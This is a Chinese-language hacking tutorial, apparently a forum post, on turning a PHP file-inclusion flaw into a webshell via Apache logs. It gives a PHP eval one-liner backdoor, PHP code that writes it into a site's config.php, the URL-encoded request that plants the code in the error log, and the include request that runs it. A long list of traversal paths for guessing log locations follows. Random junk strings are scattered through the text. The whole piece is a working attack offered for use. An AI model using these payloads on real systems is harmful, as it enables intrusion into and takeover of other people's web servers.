php包含apache日志写马

admin

因为上面那个很不实际，我在测试中发现日志动不动就是几十兆，那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用，也比上面那种慢的要死好很多。

比如还是这句一句话木马
0 d" F$ q1 _6 P<?eval($_POST[cmd]);?>   

8 [- y# ^0 t( w! y到这里你也许就想到了，这是个很不错的办法。接着看,如何写入就成了个问题，用这句，
7 r8 P% w" `1 X# Hfopen打开/home/virtual/www.xxx.com/forum/config.php这个文件，然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是

- u( W" M- t# z) ?2 p4 \<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
fclose($fp);?>   //在config.php里写入一句木马语句
' ^% I. R# q* Q. }
我们提交这句，再让Apache记录到错误日志里，再包含就成功写入shell,记得一定要转换成URL格式才成功。
+ w2 n. {3 |/ I) F1 Q转换为
%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F
! q+ P$ D8 i7 T! ~: uconfig%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp
%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B
- b' E& V/ B. Y; ~" K" D/ }7 A3 Gfclose%28%24fp%29%3B%3F%3E
我们提交
http://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww
; B5 w$ K; A" `%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp
9 H& h5 _1 Z. x2 D4 X%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B
0 q+ T( Y2 i) K5 m6 |6 X- mcmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E
; O# t2 u0 H# [+ k: i3 O
这样就错误日志里就记录下了这行写入webshell的代码。
4 C6 A, H) `- ?& f' R我们再来包含日志，提交
  t8 [7 r/ a6 f0 P2 H3 @http://xxx.com/z.php?zizzy=/home ... /logs/www-error_log
' n$ G0 b: n. b! E. B
1 s' R  Q: P% C! Y- |2 O0 B这样webshell就写入成功了，config.php里就写入一句木马语句
OK.
! D) ~8 J+ K- q* s# `6 Qhttp://www.xxx.com/forum/config.php这个就成了我们的webshell
直接用lanker的客户端一连，主机就是你的了。
- ]( ^' R% `( d, J& u- r
PS:上面讲的，前提是文件夹权限必须可写 ，一定要-rwxrwxrwx(777)才能继续，这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用
  h; c4 |0 K: ~2 K6 E
其他的日志路径，你可以去猜，也可以参照这里。
../../../../../../../../../../var/log/httpd/access_log
/ f" p# V0 U) b1 X- V; V& A: I7 _../../../../../../../../../../var/log/httpd/error_log
../apache/logs/error.log
../apache/logs/access.log
; l0 M2 Q. r+ p6 Y; o7 m% D../../apache/logs/error.log
  b( s, n, m( v. ^7 x../../apache/logs/access.log
* P. {1 e* N3 A% W2 A7 K3 p; I../../../apache/logs/error.log
, o3 K2 T5 O: Z7 w7 W" A. f../../../apache/logs/access.log
../../../../../../../../../../etc/httpd/logs/acces_log
../../../../../../../../../../etc/httpd/logs/acces.log
6 \1 p- `8 H9 ?( G! u& c../../../../../../../../../../etc/httpd/logs/error_log
../../../../../../../../../../etc/httpd/logs/error.log
../../../../../../../../../../var/www/logs/access_log
6 Y/ [6 Z$ d$ w' f9 q( O& d../../../../../../../../../../var/www/logs/access.log
../../../../../../../../../../usr/local/apache/logs/access_log
  [  a2 o" U$ J3 Z3 k+ t../../../../../../../../../../usr/local/apache/logs/access.log
../../../../../../../../../../var/log/apache/access_log
../../../../../../../../../../var/log/apache/access.log
../../../../../../../../../../var/log/access_log
9 @! H, x" j( W, \3 x4 ~8 J../../../../../../../../../../var/www/logs/error_log
../../../../../../../../../../var/www/logs/error.log
2 q  A9 b: e9 e' W../../../../../../../../../../usr/local/apache/logs/error_log
../../../../../../../../../../usr/local/apache/logs/error.log
7 o4 k% ^0 X/ u8 t- ?, Y2 N../../../../../../../../../../var/log/apache/error_log
0 y+ D# A5 ^8 y! S' n+ a1 M1 Y../../../../../../../../../../var/log/apache/error.log
../../../../../../../../../../var/log/access_log
../../../../../../../../../../var/log/error_log
/var/log/httpd/access_log      
/var/log/httpd/error_log     
; Z" i$ a7 a4 P/ N: C../apache/logs/error.log     
../apache/logs/access.log
../../apache/logs/error.log
; w. C, ^" r) ^$ c* Z* S../../apache/logs/access.log
../../../apache/logs/error.log
+ n+ T- {- f! w  I6 v: S+ u../../../apache/logs/access.log
/etc/httpd/logs/acces_log
/etc/httpd/logs/acces.log
& v( a( o* c7 |  g0 N8 S# g$ Z5 I/etc/httpd/logs/error_log
# \( |+ `2 @$ t1 K: d) ^& L/etc/httpd/logs/error.log
! ~5 K% D$ g0 }( C1 k0 I/var/www/logs/access_log
/var/www/logs/access.log
, g+ J: Z. e; [' n/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/access_log
/var/www/logs/error_log
* W3 k. x# ^! T6 y' i0 k4 \/var/www/logs/error.log
2 W" ~+ j) k2 i$ Y- |" c7 e' v! ~/usr/local/apache/logs/error_log
: r* s! h! J3 Q* E/usr/local/apache/logs/error.log
. F% j. k5 J1 P, X9 R3 i" E; ^" p/var/log/apache/error_log
5 d: f5 e) h4 M. L2 l! k/var/log/apache/error.log
1 G3 G  [5 K( N7 T# D# v/var/log/access_log
/var/log/error_log